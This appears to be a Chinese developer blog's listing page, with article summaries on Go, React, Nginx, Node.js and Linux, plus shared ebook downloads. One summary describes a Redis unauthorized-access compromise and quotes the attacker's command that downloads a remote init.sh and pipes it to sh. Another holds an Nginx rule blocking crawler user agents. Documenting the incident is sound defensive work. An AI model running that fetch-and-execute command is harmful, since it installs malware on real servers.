自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

  • 博客(29)
  • 资源 (8)
  • 收藏
  • 关注

原创 GO数组和切片

在学习go基础语法时,遇到两种数据类型:数组和切片。感觉容易混淆,特别记录一下。1、描述(1)数组数组是具有相同唯一类型的一组已编号且长度固定的数据项序列,这种类型可以是任意的原始类型例如整型、字符串或者自定义类型。数组是值类型,将一个数组赋值给另一个数组时将复制一份新的元素(2)切片切片是对数组的抽象。Go 数组的长度不可改变,在特定场景中这样的集合就不太适用,Go中提供了一种灵活...

2020-01-16 14:19:22 359

原创 go开发环境搭建及第一个运行程序

1、下载安装包下载地址:https://golang.google.cn/dl/我的环境是win10,所以下载的是go1.13.6.windows-amd64.msi2、安装下载完成后,直接双击go1.13.6.windows-amd64.msi,根据安装步骤进行安装。安装完之后查看环境变量,发现环境变量已经自动设置完成。查看版本命令:go version 查看环境变量命令:...

2020-01-15 18:01:38 250

原创 单页应用刷新变空白页问题,react-router 使用browserHistory时刷新变空白页

1、问题项目打包部署到服务器上,可以正常跳转,跳转后进行刷新操作会出现页面空白现象。2、原因查找查阅网上资料,一般出现这种现象的原因是web单页面开发模式造成的。现在主流的前端框架基本都是单页面的。如:react、vue等。单页面简单来说就是访问所有资源路径、其实页面内容只有一个(一般是index.html)。这个页面中引入的js框架会根据当前访问的url去路由到相应的子页面组件(可以理...

2020-01-03 10:55:03 4506

原创 localStorage本地持久化、基本使用以及对无痕/隐私模式判断的疑问

0、基本介绍在HTML5中有一个localStorage特性,这个特性主要是用来作为本地存储来使用的。localStorage中一般浏览器支持的是5M大小,在不同的浏览器中localStorage会有所不同。基本特点:只能存储字符串类型的对象,如果使用JSON对象类型需要一些转换localStorage生命周期是永久,这意味着除非用户显示在浏览器提供的UI上清除localStorage信...

2019-12-31 17:37:44 2146

原创 Nginx防止网络爬虫的相关配置

通过Nginx参数:http_user_agent,将一些无用的爬虫禁止掉。配置方法如下:1、新建配置文件 deny.conf;内容如下:#禁止Scrapy|curl等工具的抓取if ($http_user_agent ~* (Scrapy|Curl|HttpClient)){ return 403;}#禁止指定UA及UA为空的访问if ($http_use...

2019-12-27 11:09:21 733

原创 NodeJS获取某个目录下的文件信息

首先引入fs模块var fs = require("fs");获取某个目录下的文件名:#t_str_path 代表目录路径 var t_r_filelist = fs.readdirSync(t_str_path);返回值为数组,元素为该目录下的文件名获取某个文件的文件信息:#t_str_path 代表文件路径var statInfo = fs.statSync(t_str_p...

2019-12-26 11:32:48 2081

原创 413 Request Entity Too Large(请求实体太大)

最近开发时遇到了上传失败的情况,提示:413 Request Entity Too Large(请求实体太大)因为上传通过代理服务器Nginx,因此可以 修改代理服务器Nginx 的相关配置来解决。作为反向代理服务器 , nginx最先收到client请求 ,一定会有一些限制 .所以要修改Nginx.conf 文件,client_max_body_size,这个值默认是1mclie...

2019-12-25 14:31:16 9485

原创 实现不同的域名映射到不同端口下的应用

1、需求场景手上有两个域名,一台服务器,服务器上跑了两个应用,占用两个不同的端口。假设两个域名为:domain1.comdomain2.com两个应用所占端口为8080、8090需要将两个域名分别指向这两个应用的端口2、实现思路域名经过DNS解析之后访问的是指定服务器IP的80端口,所以实现思路就是在域名服务进行DNS解析的时候,访问指定服务器的80端口,使用Nginx监听80...

2019-12-25 11:26:57 2839

原创 React+Electron封装并打包成桌面应用

0、react工程建立react工程建立见: 一个react工程的建立1、安装electron项目目录下:npm install -save electron2、main.js项目更目录下载添加main.js,基本内容:const { app, BrowserWindow, ipcMain} = require('electron');var net = requir...

2019-12-24 10:58:12 399

原创 一个react工程的建立

1、create-react-app# 安装 create-react-app 命令,如果已将安装请忽略npm install -g create-react-app# 创建 react项目create-react-app react-electron目录结构调整.|——config| |——webpack.dev.js| |——webpack.pro.js|——...

2019-12-24 10:47:51 96

原创 React16版本新增生命周期getDerivedStateFromProps替代componentWillReceiveProps

一直使用componentWillReceiveProps来进行当props发生变化时更新state,重新渲染。但是使用react16.3及以上版本时,提示componentWillReceiveProps将在17版本时被废弃。可以使用getDerivedStateFromProps来进行替代。于是研究了一下如何用getDerivedStateFromProps替代componentWillRec...

2019-12-20 11:46:21 1643

原创 通过react-router的Link进行页面跳转并传值的方法

使用React router定义路由时,我们可以给指定一个path,然后指定通配符可以携带参数到指定的path:首先定义路由:import { HashRouter,Route} from 'react-router-dom';class App extends React.Component { render() { return ( <HashRout...

2019-12-19 15:17:41 2056

原创 react网站进行版本更新时,用户浏览器端仍然缓存着旧版本问题

react打包后的文件css和js的名字都加了哈希值,所以新版本css、js和就旧版本的名字是不同的,不会有缓存问题。不过需要注意的是,把打包好的index.html放到服务器里去的时候,index.html在服务器端可能是有缓存的,这需要在服务器配置不让缓存index.html使用的是nginx服务器,因此通过对nginx配置,实现让index.html不缓存location = /ind...

2019-12-19 14:48:33 2651

原创 推荐一款仿桌面应用程序风格的React UI 框架

React Desktop专为 MacOS Sierra 和 Windows 10 提供的 React UI 组件如果使用 Electron 框架,那么你对跨平台桌面应用程序 UI 组件应该也会感兴趣,而 React-Desktop 绝对是一个不错的选择。你可以使用它轻松获取用于 Mac OS 和 Windows 10 系统上相应的 UI 组件。项目地址:http://reactdeskt...

2019-12-17 14:49:57 1618 1

原创 JS中Blob对象学习及一般使用方法

Blob可以满足一些场景下的特殊需求。Blob,Binary Large Object的缩写,代表二进制类型的大对象。在Web中,Blob类型的对象表示不可变的类似文件对象的原始数据,通俗点说,就是Blob对象是二进制数据,但它是类似文件对象的二进制数据,因此可以像操作File对象一样操作Blob对象,实际上,File继承自Blob。构造函数要从其他非blob对象和数据构造一个 Blob,请使...

2019-12-17 14:26:42 910

原创 推荐一款react懒加载组件

一次性大批量的加载资源的时候(比如批量图片的显示),会占用大量的内存,尤其是在一些低内存的设备上会造成卡顿的现象,所以就需要在必要的时候再进行资源的加载。懒加载就是在真正需要资源才加载资源,这样就可以节省内存,尽可能的减少卡顿现象的出现。推荐一款懒加载组件:react-lazyload安装npm install --save react-lazyload使用import React ...

2019-12-16 11:34:02 187

原创 JS ArrayBuffer 类型转换及拼接

1 转换1 字符串转为ArrayBuffer// 字符串转为ArrayBuffer对象,参数为字符串const str2ab = function(str) { var buf = new ArrayBuffer(str.length * 2); // 每个字符占用2个字节 var bufView = new Uint16Array(buf); for (var i = 0, s...

2019-12-13 16:31:23 14860 3

原创 JS读取本地上传的excel文件并解析(react)

文件读取 使用 new FileReader()可读取为array buff,二进制字符串等等另附分段读取文件参考链接:https://blog.csdn.net/liwang2016384/article/details/80899237三方包:https://github.com/SheetJS/js-xlsxreact示例代码:import React, { Component...

2019-12-13 16:18:08 2560 2

原创 使用ES6的数组简单操作——数组查重、数组去重、数组元素交换

数组查重ES6判断数组是否存在重复元素var array = [1,2,3,3,4,5];if(new Set(array).size !== array.length){ console.log("存在相同的元素");}else { console.log("不存在相同的元素")}注意,此方法不适合数组元素为对象或子数组的情况。数组去重var array = ...

2019-12-13 10:11:48 1864

原创 记一次陌生域名绑定自己网站的解决方法

今天在进入百度统计查看自己新搞的小网站(http://www.manyou.fun)时,看到入口页面中有个陌生域名,好奇打开进去一看,竟然就是自己的网站。第一反应觉得这是好事,人家域名绑定指向我的网站,这是给我的网站带来流量啊。但是仔细想想世上哪有这么好的事儿,这么做肯定有一些利益或目的吧。虽然我这就是一个自娱自乐的小站,一天访问量也就几十个IP,但心里总不是很爽,于是开始动手解决。网站是用的N...

2019-12-12 11:03:02 1454

原创 JS中的数组浅拷贝与深拷贝的方法和技巧

要拷贝一个数组,不能简单地将旧数组分配给一个新变量,它也是一个数组。如果这样做,它们将共享相同的引用,并且在更改一个变量之后,另一个变量也将受到更改的影响。那么如何正确的进行数组拷贝呢?介绍几种常用方法浅拷贝方法(也有网上认为是单层深拷贝)以下拷贝方法,适合元素为简单的数据结构,元素为复杂结构(比如对象)的时候,更改对象的值,另一个也会跟着变方法1:Array.slicevar arra...

2019-12-10 16:46:15 323

原创 Babel对ES2015中 Generator 的支持

Babel对 Generator 的支持最近新搭了一个react项目,用的ES2015,但是在运行生成器函数(Generator Function)的时候出现了报错,报错内容如下:Uncaught TypeError: Cannot read property 'mark' of undefined跟踪运行,查找报错位置:var _marked = /*#__PURE__*/regene...

2019-12-09 18:12:24 324

原创 使用pm2进程管理工具管理NodeJS应用

pm2是什么?官方的说法,pm2 是一个带有负载均衡功能的Node应用的进程管理器。为什么要用pm2?因为node.js 是单进程,进程被杀死后整个服务就挂了,所以需要进程管理工具。pm2可疑让你的独立代码利用全部的服务器上的所有 CPU,并保证进程永远都活着,0 秒的重载。环境保证有node.js 的环境安装npm install -g pm2如果nodejs安装的路径不在/u...

2019-12-06 14:50:54 227

转载 手动释放linux内存

可使用以下命令:echo 3 > /proc/sys/vm/drop_caches

2019-12-06 11:51:25 63

原创 Linux Shell脚本执行错误:bin/sh^M: bad interpreter: No such file or directory

问题bin/sh^M: bad interpreter: No such file or directory原因.sh脚本在windows系统下用记事本文件编写的。不同系统的编码格式引起的。解决方法修改.sh文件格式(1)使用vi工具vi xxx.sh(2)利用如下命令查看文件格式:set ff 或 :set fileformat可以看到如下信息fileformat=dos ...

2019-12-06 11:47:39 104

转载 Linux文件系统损坏与fsck修复

fsck 命令用于检查文件系统并尝试修复出现的错误。该命令的基本格式如下:[root@localhost ~]# fsck [选项] 分区设备文件名fsck命令常用选项及其功能:-a 自动修复文件系统,没有任何提示信息。-r 采取互动的修复模式,在修改文件前会进行询问,让用户得以确认并决定处理方式。-A(大写) 按照 /etc/fstab 配置文件的内容,检查文件内罗列的全部文件系统...

2019-12-06 11:15:21 776

转载 NodeJs的express服务器报413 payload too large错误

响应状态码 413 Payload Too Large表示请求主体的大小超过了服务器愿意或有能力处理的限度,服务器可能会(may)关闭连接以防止客户端继续发送该请求。node.js 的express服务器报 413 payload too large,解决办法:express 4.0后版本:var bodyParser = require('body-parser');app.use(b...

2019-12-06 10:57:39 2283 1

转载 CentOS6和CentOS7防火墙的关闭、开启

centos6.8 :查看iptables服务的当前状态service iptables status 1) 重启后生效 开启: chkconfig iptables on 关闭: chkconfig iptables off 2) 即时生效,重启后失效 开启: service iptables start 关闭: ser...

2019-12-06 10:46:15 84

原创 记一次因redis未授权访问漏洞被攻击进行挖矿

一、问题描述redis存储的业务数据被清空,且被注入未知的url下载链接:cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh百度该链接后,发现是这是一段带有恶意链接脚本,进行恶意shell脚本下载,从而实现远程代码攻击,并进行挖矿行为。二、分析分析参考链接:https://www.freebuf.com/c...

2019-12-05 16:43:56 885

深入理解Android++卷1pdf电子书

由于上传限制,附上本书电子版的下载地址,给您带来不便之处,敬请原谅! 《深入理解Android(卷1)》是一本以情景方式对Android的源代码进行深入分析的书。内容广泛,以对Framework层的分析为主,兼顾Native层和Application层;分析深入,每一部分源代码的分析都力求透彻;针对性强,注重实际应用开发需求,书中所涵盖的知识点都是Android应用开发者和系统开发者需要重点掌握的。 《深入理解Android(卷1)》共10章,第1章介绍了阅读本书所需要做的准备工作,主要包括对Android系统架构和源码阅读方法的介绍;第2章通过对Android系统中的MediaScanner进行分析,详细讲解了Android中十分重要的JNI技术;第3章分析了init进程,揭示了通过解析init.rc来启动Zygote以及属性服务的工作原理;第4章分析了Zygote、SystemServer等进程的工作机制,同时还讨论了Android的启动速度、虚拟机HeapSize的大小调整、Watchdog工作原理等问题;第5章讲解了Android系统中常用的类,包括sp、wp、RefBase、Thread等类,同步类,以及Java中的Handler类和Looper类,掌握这些类的知识后方能在后续的代码分析中做到游刃有余;第6章以MediaServer为切入点,对Android中极为重要的Binder进行了较为全面的分析,深刻揭示了其本质。第7章对Audio系统进行了深入的分析,尤其是AudioTrack、AudioFlinger和AudioPolicyService等的工作原理。第8章深入讲解了Surface系统的实现原理,分析了Surface与Activity之间以及Surface与SurfaceFlinger之间的关系、SurfaceFlinger的工作原理、Surface系统中的帧数据传输以及LayerBuffer的工作流程。第9章对Vold和Rild的原理和机制进行了深入的分析,同时还探讨了Phone设计优化的问题;第10章分析了多媒体系统中MediaScanner的工作原理。 《深入理解Android(卷1)》适合有一定基础的Android应用开发工程师和系统工程师阅读。通过对本书的学习,大家将能更深刻地理解Android系统,从而自如应对实际开发中遇到的难题。

2013-05-31

Android系统级深入开发—移植与调试

由于上传限制,附上本书电子版的下载地址,给您带来不便之处,敬请原谅! 《Android系统级深入开发:移植与调试》是一本全面介绍Android系统级开发的作品,全书以移植和调试为重点。Android具有一个庞大的软件系统,任何开发者都难以掌握系统的每一个细节。因此,如何高效地理解和开发系统,就成了Android系统级别工程师面对的主要问题。本书作者以实际的开发经验为基础,以软件工程思想为指导,完成了本书。本书介绍了从Android开源工程到一个基于实际硬件产品中的主要工作,一方面让读者清晰把握各个子系统的架构,另一方面让读者把握移植这个开发核心环节的要点。

2013-05-31

基于TQ6410的Linux使用教程

TQ6410的Linux使用教程,1、TQ6410linux源码介绍2、linux源码编译3、linux烧写4、linux测试5、NFS文件系统的使用

2011-07-11

嵌入式Linux开发技术实验教程

包括:Linux 环境下应用程序开发实验、Linux 环境下多线程应用程序实验、Linux 环境下驱动程序实验、Linux 环境下的中断实验、Linux 环境下的 SOCKET 通信实验、Linux 环境下的 WEB 服务实验

2011-07-11

μC_OS-Ⅱ中文资料大全

很好的μC_OS-Ⅱ资料,说明很详细。网上找到,希望对大伙有用。 第一章:范例 第 2章 实时系统概念 第 3章 内核结构 第4章 任务管理 第5 章 时间管理 ……

2011-06-07

ARM指令速查手册.rar

ARM指令速查手册 可以用作map sheet使用 欢迎交流和指正

2009-09-29

ADS1_2使用指南cn

第一课: 认识 CodeWarrior 第二课: 工程和目标文件的显示和定制 第三课: 编译 第四课: 链接 第五课: 调试 第六课: 定制 第七课: 库函数和 Microsoft Foundation Classes (MFC) 第八课: 总结

2009-09-29

经典的周立功ARM教程

周立功的ARM教程,经典!周立功《ARM嵌入式系统基础教程》多媒体教学课件。 第一章 嵌入式系统概述 第二章 嵌入式系统工程设计 第三章 ARM7体系结构 第四章 ARM7TDMI(-S)指令系统 第五章 LPC2000系列ARM硬件结构 第六章 接口技术与硬件设计 第七章 移植μC/OS-II到ARM7 第八章 嵌入式系统开发平台

2009-09-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除